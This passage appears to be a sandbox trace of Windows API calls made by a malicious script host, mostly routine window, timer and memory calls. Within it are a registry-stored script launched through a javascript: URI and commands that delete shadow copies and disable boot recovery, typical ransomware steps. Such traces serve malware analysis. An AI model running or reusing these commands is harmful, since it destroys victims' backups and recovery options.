CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x282, wParam=0x1, lParam=0x0, plResult=0x3dc7cc | out: plResult=0x3dc7cc) returned 0x0 [0254.625] GetCurrentThreadId () returned 0x15c [0254.625] GetCurrentThreadId () returned 0x15c [0254.625] QueryPerformanceCounter (in: lpPerformanceCount=0x3dd918 | out: lpPerformanceCount=0x3dd918*=25792785016) returned 1 [0254.625] GetTickCount () returned 0x3ef62 [0254.625] GetWindowThreadProcessId (in: hWnd=0x9002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0254.625] GetCurrentThreadId () returned 0x15c [0254.625] SetCoalescableTimer (hWnd=0x9002e, nIDEvent=0x2003, uElapse=0xa, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2003 [0254.626] GetWindowThreadProcessId (in: hWnd=0x9002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0254.626] GetCurrentThreadId () returned 0x15c [0254.626] SetCoalescableTimer (hWnd=0x9002e, nIDEvent=0x2004, uElapse=0x12c, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2004 [0254.626] GetWindowThreadProcessId (in: hWnd=0x9002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0254.626] GetCurrentThreadId () returned 0x15c [0254.626] GetTickCount64 () returned 0x3ef62 [0254.626] RedrawWindow (hWnd=0x9002e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x2) returned 1 [0254.627] QueryPerformanceCounter (in: lpPerformanceCount=0x1170a00 | out: lpPerformanceCount=0x1170a00*=25792921452) returned 1 [0254.627] GetCurrentThreadId () returned 0x15c [0254.627] GetCurrentThreadId () returned 0x15c [0254.627] GetCurrentThreadId () returned 0x15c [0254.627] QueryPerformanceCounter (in: lpPerformanceCount=0x3dd818 | out: lpPerformanceCount=0x3dd818*=25792963262) returned 1 [0254.627] SetEvent (hEvent=0x374) returned 1 [0254.628] GetAncestor (hwnd=0x300ec, gaFlags=0x2) returned 0x70044 [0254.628] IsIconic (hWnd=0x70044) returned 0 [0254.628] GetCurrentThreadId () returned 0x15c [0254.701] KillTimer (hWnd=0x9002e, uIDEvent=0x2003) returned 1 [0254.701] GetTickCount () returned 0x3efb0 [0254.701] PostMessageW (hWnd=0x9002e, Msg=0x113, wParam=0x2000, lParam=0x0) returned 1 [0254.701] GetTickCount64 () returned 0x3efb0 [0254.702] QueryPerformanceCounter (in: lpPerformanceCount=0x3dd7a4 | out: lpPerformanceCount=0x3dd7a4*=25800422490) returned 1 [0254.702] QueryPerformanceCounter (in: lpPerformanceCount=0x1170a00 | out: lpPerformanceCount=0x1170a00*=25800441982) returned 1 [0254.702] GetCurrentThreadId () returned 0x15c [0254.702] GetCurrentThreadId () returned 0x15c [0254.702] GetCurrentThreadId () returned 0x15c [0254.702] GetFocus () returned 0x0 [0254.702] EnumChildWindows (hWndParent=0x300ec, lpEnumFunc=0x73046620, lParam=0x3dd6d7) returned 0 [0254.702] QueryPerformanceCounter (in: lpPerformanceCount=0x3dd778 | out: lpPerformanceCount=0x3dd778*=25800509608) returned 1 [0254.703] QueryPerformanceCounter (in: lpPerformanceCount=0x3dd798 | out: lpPerformanceCount=0x3dd798*=25800516181) returned 1 [0254.703] KillTimer (hWnd=0x9002e, uIDEvent=0x2002) returned 1 [0254.703] GetTickCount () returned 0x3efb0 [0254.703] GetTickCount64 () returned 0x3efb0 [0254.703] GetTickCount64 () returned 0x3efb0 [0254.703] QueryPerformanceCounter (in: lpPerformanceCount=0x3dd918 | out: lpPerformanceCount=0x3dd918*=25800586068) returned 1 [0254.703] GetWindowThreadProcessId (in: hWnd=0x9002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0254.703] GetCurrentThreadId () returned 0x15c [0254.703] SetCoalescableTimer (hWnd=0x9002e, nIDEvent=0x2005, uElapse=0xa, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2005 [0254.704] GetWindowThreadProcessId (in: hWnd=0x9002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0254.704] GetCurrentThreadId () returned 0x15c [0254.704] RedrawWindow (hWnd=0x9002e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x2) returned 1 [0254.705] KillTimer (hWnd=0x9002e, uIDEvent=0x2005) returned 1 [0254.706] GetTickCount () returned 0x3efb0 [0254.706] GetTickCount64 () returned 0x3efb0 [0254.706] QueryPerformanceCounter (in: lpPerformanceCount=0x3dd7cc | out: lpPerformanceCount=0x3dd7cc*=25800846578) returned 1 [0254.706] QueryPerformanceCounter (in: lpPerformanceCount=0x3dd7a4 | out: lpPerformanceCount=0x3dd7a4*=25800853570) returned 1 [0254.706] QueryPerformanceCounter (in: lpPerformanceCount=0x3dd778 | out: lpPerformanceCount=0x3dd778*=25800869271) returned 1 [0254.706] QueryPerformanceCounter (in: lpPerformanceCount=0x3dd798 | out: lpPerformanceCount=0x3dd798*=25800875788) returned 1 [0254.706] SetEvent (hEvent=0x378) returned 1 [0254.706] GetTickCount () returned 0x3efb0 [0254.706] GetTickCount () returned 0x3efb0 [0254.706] GetTickCount64 () returned 0x3efb0 [0254.707] GetTickCount64 () returned 0x3efb0 [0254.710] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0254.710] KillTimer (hWnd=0x300ec, uIDEvent=0x1000) returned 1 [0254.711] IUnknown:AddRef (This=0x9116a4) returned 0x8 [0254.711] IUri:GetScheme (in: This=0x9116a4, pdwScheme=0x3dcd80 | out: pdwScheme=0x3dcd80*=0xf) returned 0x0 [0254.711] IUri:GetDisplayUri (in: This=0x9116a4, pbstrDisplayString=0x3dcd78 | out: pbstrDisplayString=0x3dcd78*="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();") returned 0x0 [0254.711] GetWindowTextW (in: hWnd=0x70044, lpString=0x3dc90c, nMaxCount=512 | out: lpString="") returned 0 [0254.711] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0xd, wParam=0x200, lParam=0x3dc90c) returned 0x0 [0254.711] SetWindowTextW (hWnd=0x70044, lpString="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();") returned 1 [0254.711] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0xc, wParam=0x0, lParam=0x92af04) returned 0x1 [0254.712] IUnknown:Release (This=0x9116a4) returned 0x7 [0254.712] GetCurrentThreadId () returned 0x15c [0254.969] KillTimer (hWnd=0x9002e, uIDEvent=0x2004) returned 1 [0254.969] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0254.970] NtdllDefWindowProc_W (hWnd=0x70126, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0254.970] GetWindowLongW (hWnd=0x80016, nIndex=-21) returned 18146000 [0255.026] NtdllDefWindowProc_W (hWnd=0x9002e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0258.514] ExpandEnvironmentStringsW (in: lpSrc="cmd.exe /c wmic SHADOWCOPY DELETE", lpDst=0x3ddc68, nSize=0x400 | out: lpDst="cmd.exe /c wmic SHADOWCOPY DELETE") returned 0x22 [0258.514] ShellExecuteExW (in: pExecInfo=0x3ddc10*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c wmic SHADOWCOPY DELETE", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3ddc10*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c wmic SHADOWCOPY DELETE", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0258.771] ExpandEnvironmentStringsW (in: lpSrc="cmd.exe /c vssadmin Delete Shadows /All /Quiet", lpDst=0x3ddc68, nSize=0x400 | out: lpDst="cmd.exe /c vssadmin Delete Shadows /All /Quiet") returned 0x2f [0258.771] ShellExecuteExW (in: pExecInfo=0x3ddc10*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c vssadmin Delete Shadows /All /Quiet", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3ddc10*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c vssadmin Delete Shadows /All /Quiet", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0259.010] ExpandEnvironmentStringsW (in: lpSrc="cmd.exe /c bcdedit /set {default} recoveryenabled No", lpDst=0x3ddc68, nSize=0x400 | out: lpDst="cmd.exe /c bcdedit /set {default} recoveryenabled No") returned 0x35 [0259.010] ShellExecuteExW (in: pExecInfo=0x3ddc10*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c bcdedit /set {default} recoveryenabled No", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3ddc10*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c bcdedit /set {default} recoveryenabled No", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0259.401] ExpandEnvironmentStringsW (in: lpSrc="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpDst=0x3ddc68, nSize=0x400 | out: lpDst="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures") returned 0x45 [0259.401] ShellExecuteExW (in: pExecInfo=0x3ddc10*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3ddc10*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0259.941] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0259.941] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0259.943] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0259.952] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0259.952] RegisterClassW (lpWndClass=0x3df6a0) returned 0xc064 [0259.953] CreateWindowExW (dwExStyle=0x0, lpClassName="WorkerW", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x726c0000, lpParam=0x0) returned 0x60218 [0259.954] SetWindowLongW (hWnd=0x60218, nIndex=0, dwNewLong=9756944) returned 0 [0259.954] SetWindowLongW (hWnd=0x60218, nIndex=-4, dwNewLong=1926608192) returned 2009290384 [0259.955] SetTimer (hWnd=0x60218, nIDEvent=0x1, uElapse=0x3e8, lpTimerFunc=0x0) returned 0x1 [0259.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbee1f4 | out: lpSystemTimeAsFileTime=0xbee1f4*(dwLowDateTime=0xb59a1974, dwHighDateTime=0x1d4f110)) [0259.955] GetTickCount () returned 0x40432 [0259.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbee1fc | out: lpSystemTimeAsFileTime=0xbee1fc*(dwLowDateTime=0xb59a1974, dwHighDateTime=0x1d4f110)) [0259.955] IBindStatusCallback:OnStopBinding (This=0x927e30, hresult=0x80004004, szError=0x0) returned 0x0 [0259.955] IUri:GetScheme (in: This=0x9156bc, pdwScheme=0x3df960 | out: pdwScheme=0x3df960*=0xf) returned 0x0 [0259.955] IUnknown:QueryInterface (in: This=0x11ba0b0, riid=0x7286ca54*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3df90c | out: ppvObject=0x3df90c*=0x0) returned 0x80004002 [0259.955] GetCurrentThreadId () returned 0x15c [0259.956] RevokeBindStatusCallback (pBC=0x909750, pBSCb=0x927e30) returned 0x0 [0259.956] IUnknown:Release (This=0x927df0) returned 0x4 [0259.956] IUnknown:Release (This=0x927e30) returned 0x3 [0259.956] IUnknown:AddRef (This=0x909750) returned 0x3 [0259.956] IUnknown:Release (This=0x909750) returned 0x2 [0259.956] CoTaskMemFree (pv=0x91d4c8) [0259.957] IUnknown:Release (This=0x909750) returned 0x1 [0259.957] GetCurrentThreadId () returned 0x15c [0259.957] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3df734 | out: lpCPInfo=0x3df734) returned 1 [0259.957] IUnknown:AddRef (This=0x9118f8) returned 0x4 [0259.957] IUnknown:AddRef (This=0x9156bc) returned 0x12 [0259.957] IUnknown:QueryInterface (in: This=0x9156bc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df6fc | out: ppvObject=0x3df6fc*=0x9156bc) returned 0x0 [0259.958] IUnknown:Release (This=0x9156bc) returned 0x12 [0259.958] IUnknown:AddRef (This=0x9156bc) returned 0x13 [0259.958] IUri:GetScheme (in: This=0x9156bc, pdwScheme=0x3df74c | out: pdwScheme=0x3df74c*=0xf) returned 0x0 [0259.958] IUri:GetScheme (in: This=0x9156bc, pdwScheme=0x3df72c | out: pdwScheme=0x3df72c*=0xf) returned 0x0 [0259.958] IUnknown:Release (This=0x9118f8) returned 0x3 [0259.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x72a18920, lpParameter=0x11663c0, dwCreationFlags=0x0, lpThreadId=0x11663d4 | out: lpThreadId=0x11663d4*=0xef4) returned 0x55c [0259.959] CoTaskMemFree (pv=0x0) [0259.959] IUnknown:Release (This=0x928260) returned 0x5 [0259.959] ReleaseBindInfo (pbindinfo=0x11ba0f0) [0259.960] IUnknown:Release (This=0x11ba0cc) returned 0x1 [0259.960] IUnknown:Release (This=0x928260) returned 0x1 [0259.960] IUnknown:Release (This=0x11ba0b0) returned 0x0 [0259.961] GetMessageW (in: lpMsg=0x3dfdd4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3dfdd4) returned 1 [0259.961] TranslateMessage (lpMsg=0x3dfdd4) returned 0 [0259.961] DispatchMessageW (lpMsg=0x3dfdd4) [0259.961] GetCursorPos (in: lpPoint=0x3ddf68 | out: lpPoint=0x3ddf68*(x=492, y=352)) returned 1 [0259.961] ScreenToClient (in: hWnd=0x300ec, lpPoint=0x3ddf68 | out: lpPoint=0x3ddf68) returned 1 [0259.961] GetKeyState (nVirtKey=16) returned 0 [0259.961] GetKeyState (nVirtKey=17) returned 0 [0259.961] GetKeyState (nVirtKey=18) returned 0 [0259.961] GetKeyState (nVirtKey=160) returned 0 [0259.961] GetKeyState (nVirtKey=162) returned 0 [0259.962] GetKeyState (nVirtKey=164) returned 0 [0259.962] GetCursorPos (in: lpPoint=0x3dddc8 | out: lpPoint=0x3dddc8*(x=492, y=352)) returned 1 [0259.962] ScreenToClient (in: hWnd=0x300ec, lpPoint=0x3dddc8 | out: lpPoint=0x3dddc8) returned 1 [0259.962] GetKeyState (nVirtKey=16) returned 0 [0259.962] GetKeyState (nVirtKey=17) returned 0 [0259.962] GetKeyState (nVirtKey=18) returned 0 [0259.962] GetKeyState (nVirtKey=160) returned 0 [0259.962] GetKeyState (nVirtKey=162) returned 0 [0259.962] GetKeyState (nVirtKey=164) returned 0 [0259.964] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x272, wParam=0x0, lParam=0x0, plResult=0x3df9f4 | out: plResult=0x3df9f4) returned 0x1 [0259.964] NtdllDefWindowProc_W (hWnd=0x300ec, Msg=0x272, wParam=0x0, lParam=0x0) returned 0x0 [0259.974] GetCurrentThreadId () returned 0x15c [0259.974] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0259.975] RevokeDragDrop (hwnd=0x300ec) returned 0x0 [0259.977] GetCurrentThreadId () returned 0x15c [0259.978] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0259.978] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x82, wParam=0x0, lParam=0x0, plResult=0x3df9ec | out: plResult=0x3df9ec) returned 0x1 [0259.978] NtdllDefWindowProc_W (hWnd=0x300ec, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0259.978] GetCurrentThreadId () returned 0x15c [0259.978] SetWindowLongW (hWnd=0x300ec, nIndex=-21, dwNewLong=0) returned 18284544 [0259.983] GetWindowThreadProcessId (in: hWnd=0x9002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0259.983] GetCurrentThreadId () returned 0x15c [0259.983] PostMessageW (hWnd=0x9002e, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0259.983] CActiveIMMAppEx_Trident:IActiveIMMApp:Deactivate (This=0x926820) returned 0x0 [0259.984] _flushall () returned 3 [0259.984] _flushall () returned 3 [0259.984] VirtualFree (lpAddress=0x48f5000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0259.985] free (_Block=0x5177f18) [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f9000, dwRegionSize=0x1000, lpAddresses=0x3dfab0, lpdwCount=0x3dfabc, lpdwGranularity=0x3dfab4 | out: lpAddresses=0x3dfab0*=0x48f9000, lpdwCount=0x3dfabc, lpdwGranularity=0x3dfab4) returned 0x0 [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f1000, dwRegionSize=0x1000, lpAddresses=0x3dfab0, lpdwCount=0x3dfabc, lpdwGranularity=0x3dfab4 | out: lpAddresses=0x3dfab0*=0x0, lpdwCount=0x3dfabc, lpdwGranularity=0x3dfab4) returned 0x0 [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490f000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x1, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490b000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x490b000, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4909000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x490b000, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4904000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x4904000, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4901000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x4904000, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48fe000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x4904000, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48fd000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x4904000, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48fc000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x4904000, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48fb000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x48fb000, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f8000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x48fb000, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f7000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x48f7000, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.985] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f6000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x48f6000, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.986] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f4000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x48f4000, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.986] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f0000, dwRegionSize=0x1000, lpAddresses=0x3dfb24, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28 | out: lpAddresses=0x3dfb24*=0x48f0000, lpdwCount=0x3dfb2c, lpdwGranularity=0x3dfb28) returned 0x0 [0259.986] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490e000, dwRegionSize=0x1000, lpAddresses=0x3dfb0c, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10 | out: lpAddresses=0x3dfb0c*=0x490e000, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10) returned 0x0 [0259.986] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490d000, dwRegionSize=0x1000, lpAddresses=0x3dfb0c, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10 | out: lpAddresses=0x3dfb0c*=0x490d000, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10) returned 0x0 [0259.986] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490c000, dwRegionSize=0x1000, lpAddresses=0x3dfb0c, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10 | out: lpAddresses=0x3dfb0c*=0x490c000, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10) returned 0x0 [0259.986] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490a000, dwRegionSize=0x1000, lpAddresses=0x3dfb0c, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10 | out: lpAddresses=0x3dfb0c*=0x490a000, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10) returned 0x0 [0259.986] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4908000, dwRegionSize=0x1000, lpAddresses=0x3dfb0c, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10 | out: lpAddresses=0x3dfb0c*=0x8, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10) returned 0x0 [0259.986] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4907000, dwRegionSize=0x1000, lpAddresses=0x3dfb0c, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10 | out: lpAddresses=0x3dfb0c*=0x8, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10) returned 0x0 [0259.986] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4905000, dwRegionSize=0x1000, lpAddresses=0x3dfb0c, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10 | out: lpAddresses=0x3dfb0c*=0x8, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10) returned 0x0 [0259.986] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4900000, dwRegionSize=0x1000, lpAddresses=0x3dfb0c, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10 | out: lpAddresses=0x3dfb0c*=0x4900000, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10) returned 0x0 [0259.986] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48ff000, dwRegionSize=0x1000, lpAddresses=0x3dfb0c, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10 | out: lpAddresses=0x3dfb0c*=0xd, lpdwCount=0x3dfb14, lpdwGranularity=0x3dfb10) returned 0x0 [0259.987] ResetWriteWatch (lpBaseAddress=0x48f0000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48f1000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48f2000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48f3000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48f4000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48f6000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48f7000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48f8000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48f9000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48fa000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48fb000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48fc000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48fd000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48fe000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x48ff000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x4900000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x4901000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x4902000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x4903000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x4904000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x4905000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x4907000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x4908000, dwRegionSize=0x1000) returned 0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x4909000, dwRegionSize=0x1000) returned 